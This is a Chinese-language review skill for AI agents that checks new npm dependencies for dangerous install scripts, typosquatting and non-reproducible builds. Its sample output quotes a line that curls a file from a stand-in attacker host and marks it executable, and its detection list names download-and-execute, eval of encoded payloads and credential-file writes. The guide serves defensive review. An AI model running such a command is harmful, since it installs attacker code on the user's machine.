supply-chain-review · v2.2.10 · 2026-09-07 · sha256 dba7c8eee9dbd489
supply-chain-review v2.2.10A
Immutable. This exact content is served forever at /api/v1/blob/dba7c8eee9dbd489.
---
name: supply-chain-review
description: 'PR/新依赖快速供应链评审:危险 install/postinstall 脚本检查、typosquat 相似名判断、可复现构建验证,每项附误报判据与通过/要求修改/阻断三档决策阈值。评审引入新依赖的 PR 或需快速给出新增依赖风险结论时用;与新增依赖无关的普通代码评审不用。'
whenToUse: '评审含新依赖(package.json/锁文件变更)的 PR、审查某包的 install 脚本行为、判断疑似 typosquat 包或验证构建可复现性时使用;纯业务代码、与新增依赖无关的 PR 评审不触发本技能。'
metadata:
pack: dsh-skill-pack-security
version: '2.2.10'
---
# 新增依赖快速评审(supply-chain-review)
目标:在 PR 评审时间内(几分钟)对新增依赖给出 **通过 / 要求修改 / 阻断** 三档结论;每条结论必须附命令证据与误报排除说明。
## 自动化预检:plugin_vet 工具
`plugin_vet` 已自动执行本技能第 1/2/3 节的静态部分(危险 install 脚本、网络回传、混淆载荷、commit/action 锁定),其结果逐条引用本技能小节编号。自动化命中后,按各节的误报判据与放行判据人工确认,再下三档结论。
## 0. 确认范围
```sh
git diff <base>...HEAD --stat -- package.json pnpm-lock.yaml
git diff <base>...HEAD --unified=0 -- package.json | grep '^+'
```
样例输出:
```
package.json | 4 ++++
pnpm-lock.yaml | 12 ++++++++++++
+ "example-lib": "^2.3.0",
```
判据:无 manifest 变更 → 本技能不适用,停止;只有 devDependencies 变更 → 按"不进生产产物"整体降一档风险,但脚本检查照做。
`<base>` 用 PR 的真实 base(`git merge-base <base> HEAD` 可先确认),不要猜。
## 1. 危险 install 脚本检查(阻断级候选)
对每个新包执行:
```sh
npm view <包> scripts --json
```
样例输出:`{ "postinstall": "node scripts/download.js" }`。
危险特征清单(完整版与复核 grep 见 `references/install-script-checks.md`):
- `curl`/`wget`/`Invoke-WebRequest` 下载可执行文件后执行;
- `base64 -d`/`eval`/`child_process.exec`/`os.system` 配合外部输入或拼接载荷;
- 写入 `~/.ssh`、`.npmrc`、`.gitconfig`、credentials、全局 shell 配置。
复核命令(解包看真实内容,不只信 manifest 描述):
```sh
npm pack <包> --pack-destination .tmp
tar -xzf .tmp/<包>-<版本>.tgz -C .tmp
grep -rnE '(curl|wget|base64|eval|\.ssh|npmrc)' .tmp/package/package.json .tmp/package/*.js
```
样例输出:`.tmp/package/scripts/download.js:3:curl -sSL https://evil.example/x -o /tmp/x && chmod +x /tmp/x`
误报判据:**构建工具链的安装脚本是生态惯例**(esbuild、sharp、node-gyp、core-js 等)——放行判据 = 脚本行为与包用途一致 且 不触碰用户凭据/全局配置;两者任一不满足 = 阻断级。
阻断条件(任一即阻断):下载并执行二进制、访问凭据文件、混淆载荷(base64/hex 拼装后 eval)、安装后写全局配置。
git 安装向量:依赖来自 git URL 时(DSH 的 git 安装会执行 `prepare` 脚本),`npm view` 看不到其脚本——先 `git grep -nE 'git\+https?://' -- package.json` 定位,再 `git clone --depth 1 <url> .tmp/gitdep` 后 `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json`;`prepare` 在安装时执行,与 postinstall 同级对待。
包体异常:`npm view <包> dist.fileCount dist.tarball --json`。判据:fileCount 异常大(如 >1000)或 tarball 域名非 `registry.npmjs.org` → 记录并人工复核。
## 2. typosquat 检查
对每个新包名:
```sh
npm view <包> time.created
npm view <包> --json | grep -E '"downloads"|"weekly"'
```
样例输出:`2026-08-10T02:00:00.000Z`(两周前创建);downloads 字段可能不存在(说明:部分 registry 不返回该字段,缺失按"未知"处理,不据此定论)。
名称比对:与流行包逐一比对编辑距离(混淆对清单与命令见 `references/typosquat-and-reproducibility.md`),例如 `lodahs` vs `lodash`、`react-domm` vs `react-dom`。
判据:**名称与流行包编辑距离 ≤ 2 且 创建时间短/下载量极低 两条同时成立 → 阻断**;只中一条 → 要求修改并转 `dependency-audit` 投毒清单复查。
误报判据:领域完全无关的小众同名包,不因"下载量低"单条被误杀——必须"名称相似 + 上下文可疑"同时成立。
## 3. 可复现构建验证
```sh
git ls-files -- '*lock*' | head -n 5
grep -nE 'frozen-lockfile|npm ci|--frozen' .github/workflows/* 2>/dev/null
grep -c 'integrity' <锁文件>
pnpm install --frozen-lockfile
```
样例输出:锁文件路径一行;CI 命中行 `install: pnpm install --frozen-lockfile`;integrity 计数 `1234`。
判据(三要素,见 `references/typosquat-and-reproducibility.md`):
- 锁文件已提交 + CI 冻结安装 + integrity 字段齐全 = 通过;
- 缺任一 = 要求修改;
- 缺锁文件 **且** 新增直接依赖 > 20 个 = 阻断。
- `pnpm install --frozen-lockfile` 失败样例与处理转 `dependency-audit` 第 5 节;平台差异不关冻结开关。
- CI 配置复核(PR 改了 workflow 时必查):`git diff <base>...HEAD -- .github/workflows | grep -nE '^\+.*uses:'`——新增/改动的 `uses: <owner>/<repo>@v<数字>` 未 pin 到 commit SHA(`@<40位hex>`)→ 要求修改(tag 可被移动);只读、不触密钥的第三方 action 记录即可,不阻断。
- 锁文件新增量复核:`git diff <base>...HEAD -- <锁文件> | grep -cE '^\+'` 与新增直接依赖数对照;声明 1 个依赖却 +500 行 → 记录并人工核对 diff 内容。
## 4. 结论与评论模板
三档定义、触发条件与 PR 评论模板见 `references/typosquat-and-reproducibility.md`。
结论必须包含:证据命令 + 输出摘要 + 误报排除说明("我排除了 X,因为 <证据>")。